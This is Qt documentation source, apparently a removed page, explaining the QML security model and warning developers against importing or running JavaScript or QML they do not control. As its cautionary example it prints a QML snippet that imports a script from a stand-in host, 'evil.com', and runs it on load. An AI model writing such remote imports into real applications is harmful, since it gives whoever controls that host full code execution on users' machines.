-\title QML Security
-\section1 QML Security
-
-The QML security model is that QML content is a chain of trusted content: the user
-installs QML content that they trust in the same way as they install native Qt applications,
-or programs written with runtimes such as Python and Perl. That trust is establish by any
-of a number of mechanisms, including the availability of package signing on some platforms.
-
-In order to preserve the trust of users, developers producing QML content should not execute
-arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
-
-For example, this QML content:
-
-\qml
-import QtQuick 1.0
-import "http://evil.com/evil.js" as Evil
-
-Component {
- onLoaded: Evil.doEvil()
-}
-\endqml
-
-is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
-environment of QML does not try to stop any particular accesses, including local file system
-access, just as for any native Qt application, so the "doEvil" function could do the same things
-as a native Qt application, a Python application, a Perl script, etc.
-
-As with any application accessing other content beyond it's control, a QML application should
-perform appropriate checks on untrusted data it loads.
-
-A non-exhaustive list of the ways you could shoot yourself in the foot is:
-
-\list
- \i Using \c import to import QML or JavaScript you do not control. BAD
- \i Using \l Loader to import QML you do not control. BAD
- \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD
-\endlist
-
-However, the above does not mean that you have no use for the network transparency of QML.
-There are many good and useful things you \e can do:
-
-\list
- \i Create \l Image elements with source URLs of any online images. GOOD
- \i Use XmlListModel to present online content. GOOD
- \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD
-\endlist
-
-The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
-has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
-worry about working around them.
